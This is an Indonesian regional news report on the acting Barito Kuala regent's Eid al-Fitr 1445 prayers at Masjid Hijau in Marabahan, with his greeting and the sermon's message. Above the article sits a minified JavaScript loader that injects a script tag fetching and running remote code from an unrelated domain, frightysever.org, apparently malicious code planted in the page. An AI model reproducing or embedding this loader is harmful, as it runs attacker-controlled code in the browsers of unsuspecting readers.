(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pj. Bupati Barito Kuala Sholat Idul Fitri di Masjid Hijau

KANALKALIMANTAN.COM, MARABAHAN- Pj. Bupati Barito Kuala, Mujiyat, S.Sn., M.Pd, melaksanakan sholat Idul Fitri 1445 Hijriah di Masjid Nurul Anwar, yang dikenal juga sebagai Masjid Hijau, di Marabahan. Sholat dimulai pukul 07.00 Wita dengan Imam Ust. Arbani dan Khatib Ust. Anwar Hadimi, S.Pd., M.Pd.

Dalam sambutannya, Mujiyat atas nama Pemerintah Kabupaten Barito Kuala dan pribadi mengucapkan selamat hari raya Idul Fitri 1 Syawal 1445 Hijriah. Ia juga menyampaikan permohonan maaf lahir dan batin.

“Kita semua hari ini merayakan hari kemenangan Idul Fitri 1445 Hijriah. Atas nama pribadi dan pemerintah, kami memohon maaf apabila ada tingkah laku dan tutur kata yang salah. Ribuan terima kasih juga dihaturkan kepada guru kita KH. Asqalani, Lc (kai iwat) yang selama ini telah membimbing saya untuk mengabdi di Bumi Ije Jela. Kepada seluruh masyarakat yang hadir di Masjid Hijau ini, mari kita saling membangun kolaborasi, komunikasi, dan silaturahmi, baik selama saya masih menjabat maupun nanti jika sudah tidak di pemerintahan,” ujar Mujiyat.

Isi ceramah Khatib Ust. Anwar Hadimi menekankan pentingnya menjaga kebaikan yang telah ditanamkan selama bulan Ramadhan dan meningkatkan keimanan serta ketaqwaan setelah Ramadhan berlalu.

“Ramadhan adalah bulan yang penuh rahmat, bulan ujian dan pembinaan. Perlu didikan menuju kebenaran dan kerendahan hati. Bulan yang penuh kekhusyuan untuk mengabdi kepada Allah, ketakwaan untuk tidak melakukan kemaksiatan apapun, keikhlasan dalam setiap tindakan, dan rasa solidaritas terhadap sesama. Bagi orang yang berpuasa, pahalanya akan dipenuhi dan dilipatgandakan.”

Ust. Anwar Hadimi juga mengingatkan hadirin bahwa meski Ramadhan telah usai, kebaikan yang dilakukan harus tetap dijaga di sebelas bulan lainnya.
“Indikator puasa kita mabrur adalah bertambahnya kualitas takwa, yang berarti meningkatnya kemampuan untuk melaksanakan perintah-perintah Allah dan menjauhi larangan-larangannya. Bertambahnya kemampuan menjaga diri dari segala hal yang membawa kerusakan dan bencana,” paparnya. (kanalkalimantan.com/hms)

Editor: kk